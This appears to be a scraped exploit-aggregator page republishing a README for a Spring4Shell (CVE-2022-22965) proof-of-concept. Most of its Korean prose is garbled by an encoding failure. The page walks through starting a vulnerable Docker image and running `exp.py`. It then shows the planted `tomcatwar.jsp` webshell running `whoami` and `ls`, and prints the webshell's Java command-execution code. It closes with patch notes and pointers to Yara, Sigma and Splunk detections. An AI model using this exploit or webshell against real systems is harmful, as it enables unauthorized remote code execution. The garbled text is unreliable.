## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-THEGEJR-SPRINGSHELL
# Spring Core RCE - CVE-2022-22965
> 3์ 29์ผ, Spring Cloud์ ์ด์ด Spring์ ๋ ๋ค๋ฅธ ์ค๋ํ ์ทจ์ฝ์ ์ด ์ธํฐ๋ท์์ ๋ฐ์ํ์ต๋๋ค: Spring Core RCE
>
> 3์ 31์ผ, Spring์ ์ด ์ทจ์ฝ์ ์ ์์ ํ๋ ์ ๋ฒ์ ์ ์ถ์ํ์ต๋๋ค. ํจ์น ์น์
์ ์ฐธ์กฐํ์ธ์.
>
> 3์ 31์ผ, ๋ง์นจ๋ด ์ด ์ทจ์ฝ์ ์ CVE ๋ฒํธ๊ฐ ์ง์ ๋์์ผ๋ฉฐ, CVSS ์ ์ 9.8(์น๋ช
์ )์ด ๋ถ์ฌ๋์์ต๋๋ค.
## ๊ฐ๋
์ฆ๋ช
์ด ์ต์คํ๋ก์์ ์ฌ์ฉํ๊ธฐ ๋งค์ฐ ์ฌ์ฐ๋ฏ๋ก CVSS ์ ์ 9.8์ด๋ผ๋ ๋งค์ฐ ๋์ ์ ์๋ฅผ ๋ฐ์์ต๋๋ค.
์ทจ์ฝ์ ์ ํ
์คํธํ๋ ค๋ฉด ๋ค์์ ์ํํ๋ฉด ๋ฉ๋๋ค.
์ทจ์ฝํ Spring ๋์ปค ์ด๋ฏธ์ง๋ฅผ ์์ํฉ๋๋ค.
root@kitploit:~
docker run -d -p 8082:8080 --name springrce -it vulfocus/spring-core-rce-2022-03-29
์ด ๋ช
๋ น์ ์ทจ์ฝํ Spring์ `localhost:8082` ์ฃผ์์ ๋ฐ์ธ๋ฉํฉ๋๋ค.
`curl`๋ก ์ด๋ฏธ์ง๊ฐ ์ฌ๋ฐ๋ฅด๊ฒ ์์๋์๋์ง ํ์ธํฉ๋๋ค.
root@kitploit:~
curl http://localhost:8082
`ok` ์๋ต์ด ๋ฐํ๋์ด์ผ ํฉ๋๋ค.
์ด์ ์ทจ์ฝํ ์ด๋ฏธ์ง๋ฅผ ์ต์คํ๋ก์ํด ๋ด
์๋ค!
root@kitploit:~
python3 exp.py --url http://localhost:8082
`The vulnerability exists ....` ์๋ต์ด ๋ฐํ๋์ด์ผ ํฉ๋๋ค.
์ด์ `curl`๋ก ์ทจ์ฝ์ ์ ์ต์คํ๋ก์ํ ์ ์์ต๋๋ค.
root@kitploit:~
# Execute command whoami
curl --output - http://localhost:8082/tomcatwar.jsp?pwd=j&cmd=whoami
# Response has been truncated
root
//
- if("j".equals(request.getParameter("pwd"))){ java.io.InputStream in = -.getRuntime().exec(request.getParameter("cmd")).getInputStream(); int a = -1; byte[] b = new byte[2048]; while((a=in.read(b))!=-1){ out.println(new String(b)); } } - ........
# Execute command ls
curl --output - http://localhost:8082/tomcatwar.jsp?pwd=j&cmd=ls
# Response has been truncated
app
bin
dev
etc
..........
## ์ ํฌ ์ค์ธ PoC ์ฝ๋
**ํ์ฌ๊น์ง ์ต์คํ๋ก์์`exp.py`๋ก ์
๋ก๋๋์ด ์์ต๋๋ค.**


## ํจ์น
Spring์ ์ด์ ์ด CVE๋ฅผ ํด๊ฒฐํ๋ ์ ๋ฒ์ ์ ์ถ์ํ์ต๋๋ค. Spring์ ๋ฐํ๋ฅผ ์ฐธ์กฐํ์ธ์.
์ทจ์ฝ์ ์ ํจ์นํ ์ปค๋ฐ
## ์ทจ์ฝ์ ์ํฅ
1. JDK ๋ฒ์ 9 ์ด์
2. Spring Framework ๋๋ ํ์ ํ๋ ์์ํฌ๊ฐ ์ฌ์ฉ๋จ
## ๋ฒ๊ทธ ์์ ์ ์
ํ์ฌ Spring์ ๊ณต์์ ์ผ๋ก ํจ์น๋ฅผ ์ถ์ํ์ง ์์์ผ๋ฏ๋ก ์์ ํด๊ฒฐ์ฑ
์ผ๋ก jdk ๋ฒ์ ์ ๋ฎ์ถ๋ ๊ฒ์ด ๊ถ์ฅ๋ฉ๋๋ค.
## ๋ธ๋ฃจ ํ
### Yara
* Florian Roth - Spring4Shell ์น์
ธ
### Sigma
* Emanuele De Lucia - .jsp ์น์
ธ ์์ฑ
### SPLUNK
* Alex John - Splunk ํ์ง SPL